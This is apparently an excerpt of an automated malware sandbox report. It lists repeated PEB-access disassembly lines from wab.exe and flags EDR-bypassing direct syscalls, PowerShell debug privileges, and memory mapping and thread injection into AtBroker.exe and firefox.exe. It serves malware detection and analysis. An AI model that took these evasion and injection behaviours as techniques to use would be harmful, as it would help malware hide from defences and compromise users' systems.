Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCBAE0 mov eax, dword ptr fs:[00000030h]	10_2_23BCBAE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFBADA mov eax, dword ptr fs:[00000030h]	10_2_23BFBADA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C26AA4 mov eax, dword ptr fs:[00000030h]	10_2_23C26AA4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7DAAC mov ecx, dword ptr fs:[00000030h]	10_2_23C7DAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7DAAC mov ecx, dword ptr fs:[00000030h]	10_2_23C7DAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7DAAC mov eax, dword ptr fs:[00000030h]	10_2_23C7DAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD0AD0 mov eax, dword ptr fs:[00000030h]	10_2_23BD0AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF4A35 mov eax, dword ptr fs:[00000030h]	10_2_23BF4A35
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF4A35 mov eax, dword ptr fs:[00000030h]	10_2_23BF4A35
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov eax, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov ecx, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov eax, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov eax, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov eax, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDBA30 mov eax, dword ptr fs:[00000030h]	10_2_23BDBA30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFEA2E mov eax, dword ptr fs:[00000030h]	10_2_23BFEA2E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDA20 mov eax, dword ptr fs:[00000030h]	10_2_23BFDA20
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFDA20 mov eax, dword ptr fs:[00000030h]	10_2_23BFDA20
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF9A18 mov ecx, dword ptr fs:[00000030h]	10_2_23BF9A18
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCBA10 mov eax, dword ptr fs:[00000030h]	10_2_23BCBA10
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0CA6F mov eax, dword ptr fs:[00000030h]	10_2_23C0CA6F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0CA6F mov eax, dword ptr fs:[00000030h]	10_2_23C0CA6F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0CA6F mov eax, dword ptr fs:[00000030h]	10_2_23C0CA6F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4CA72 mov eax, dword ptr fs:[00000030h]	10_2_23C4CA72
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4CA72 mov eax, dword ptr fs:[00000030h]	10_2_23C4CA72
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C63A78 mov eax, dword ptr fs:[00000030h]	10_2_23C63A78
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C05A01 mov eax, dword ptr fs:[00000030h]	10_2_23C05A01
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C05A01 mov ecx, dword ptr fs:[00000030h]	10_2_23C05A01
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C05A01 mov eax, dword ptr fs:[00000030h]	10_2_23C05A01
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C05A01 mov eax, dword ptr fs:[00000030h]	10_2_23C05A01
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8FA02 mov eax, dword ptr fs:[00000030h]	10_2_23C8FA02
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5CA11 mov eax, dword ptr fs:[00000030h]	10_2_23C5CA11
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0CA24 mov eax, dword ptr fs:[00000030h]	10_2_23C0CA24
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE0A5B mov eax, dword ptr fs:[00000030h]	10_2_23BE0A5B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE0A5B mov eax, dword ptr fs:[00000030h]	10_2_23BE0A5B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD6A50 mov eax, dword ptr fs:[00000030h]	10_2_23BD6A50
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC9A40 mov ecx, dword ptr fs:[00000030h]	10_2_23BC9A40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD99BE mov eax, dword ptr fs:[00000030h]	10_2_23BD99BE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD09AD mov eax, dword ptr fs:[00000030h]	10_2_23BD09AD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD09AD mov eax, dword ptr fs:[00000030h]	10_2_23BD09AD
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C049D0 mov eax, dword ptr fs:[00000030h]	10_2_23C049D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CAB9DF mov eax, dword ptr fs:[00000030h]	10_2_23CAB9DF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CAB9DF mov eax, dword ptr fs:[00000030h]	10_2_23CAB9DF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9A9D3 mov eax, dword ptr fs:[00000030h]	10_2_23C9A9D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0 mov eax, dword ptr fs:[00000030h]	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCB991 mov eax, dword ptr fs:[00000030h]	10_2_23BCB991
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCB991 mov eax, dword ptr fs:[00000030h]	10_2_23BCB991
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C029F9 mov eax, dword ptr fs:[00000030h]	10_2_23C029F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C029F9 mov eax, dword ptr fs:[00000030h]	10_2_23C029F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDA9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BDA9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov esi, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD9D0 mov eax, dword ptr fs:[00000030h]	10_2_23BFD9D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C589B3 mov esi, dword ptr fs:[00000030h]	10_2_23C589B3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C589B3 mov eax, dword ptr fs:[00000030h]	10_2_23C589B3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C589B3 mov eax, dword ptr fs:[00000030h]	10_2_23C589B3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD59C0 mov eax, dword ptr fs:[00000030h]	10_2_23BD59C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD59C0 mov eax, dword ptr fs:[00000030h]	10_2_23BD59C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD59C0 mov eax, dword ptr fs:[00000030h]	10_2_23BD59C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD59C0 mov eax, dword ptr fs:[00000030h]	10_2_23BD59C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C50946 mov eax, dword ptr fs:[00000030h]	10_2_23C50946
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7931 mov eax, dword ptr fs:[00000030h]	10_2_23BC7931
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC8918 mov eax, dword ptr fs:[00000030h]	10_2_23BC8918
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC8918 mov eax, dword ptr fs:[00000030h]	10_2_23BC8918
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFB919 mov eax, dword ptr fs:[00000030h]	10_2_23BFB919
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BCF910 mov eax, dword ptr fs:[00000030h]	10_2_23BCF910
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0196E mov eax, dword ptr fs:[00000030h]	10_2_23C0196E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0196E mov eax, dword ptr fs:[00000030h]	10_2_23C0196E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C1096E mov eax, dword ptr fs:[00000030h]	10_2_23C1096E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C1096E mov edx, dword ptr fs:[00000030h]	10_2_23C1096E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C1096E mov eax, dword ptr fs:[00000030h]	10_2_23C1096E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0B970 mov eax, dword ptr fs:[00000030h]	10_2_23C0B970
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0B970 mov eax, dword ptr fs:[00000030h]	10_2_23C0B970
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0B970 mov eax, dword ptr fs:[00000030h]	10_2_23C0B970
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8F97D mov eax, dword ptr fs:[00000030h]	10_2_23C8F97D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5C97C mov eax, dword ptr fs:[00000030h]	10_2_23C5C97C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFD978 mov eax, dword ptr fs:[00000030h]	10_2_23BFD978
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4E908 mov eax, dword ptr fs:[00000030h]	10_2_23C4E908
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C4E908 mov eax, dword ptr fs:[00000030h]	10_2_23C4E908
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC7967 mov eax, dword ptr fs:[00000030h]	10_2_23BC7967
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF7962 mov eax, dword ptr fs:[00000030h]	10_2_23BF7962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF6962 mov eax, dword ptr fs:[00000030h]	10_2_23BF6962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF6962 mov eax, dword ptr fs:[00000030h]	10_2_23BF6962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF6962 mov eax, dword ptr fs:[00000030h]	10_2_23BF6962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDF950 mov eax, dword ptr fs:[00000030h]	10_2_23BDF950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDF950 mov eax, dword ptr fs:[00000030h]	10_2_23BDF950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE9950 mov eax, dword ptr fs:[00000030h]	10_2_23BE9950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE9950 mov eax, dword ptr fs:[00000030h]	10_2_23BE9950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5892A mov eax, dword ptr fs:[00000030h]	10_2_23C5892A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9A8E4 mov eax, dword ptr fs:[00000030h]	10_2_23C9A8E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8F8F8 mov eax, dword ptr fs:[00000030h]	10_2_23C8F8F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0C8F9 mov eax, dword ptr fs:[00000030h]	10_2_23C0C8F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0C8F9 mov eax, dword ptr fs:[00000030h]	10_2_23C0C8F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD0887 mov eax, dword ptr fs:[00000030h]	10_2_23BD0887
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8F889 mov eax, dword ptr fs:[00000030h]	10_2_23C8F889
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C5C89D mov eax, dword ptr fs:[00000030h]	10_2_23C5C89D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE38E0 mov eax, dword ptr fs:[00000030h]	10_2_23BE38E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE38E0 mov eax, dword ptr fs:[00000030h]	10_2_23BE38E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE38E0 mov eax, dword ptr fs:[00000030h]	10_2_23BE38E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtUnmapViewOfSection: Direct from: 0x76F02D3C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: NULL target: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread register set: target process: 4884

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

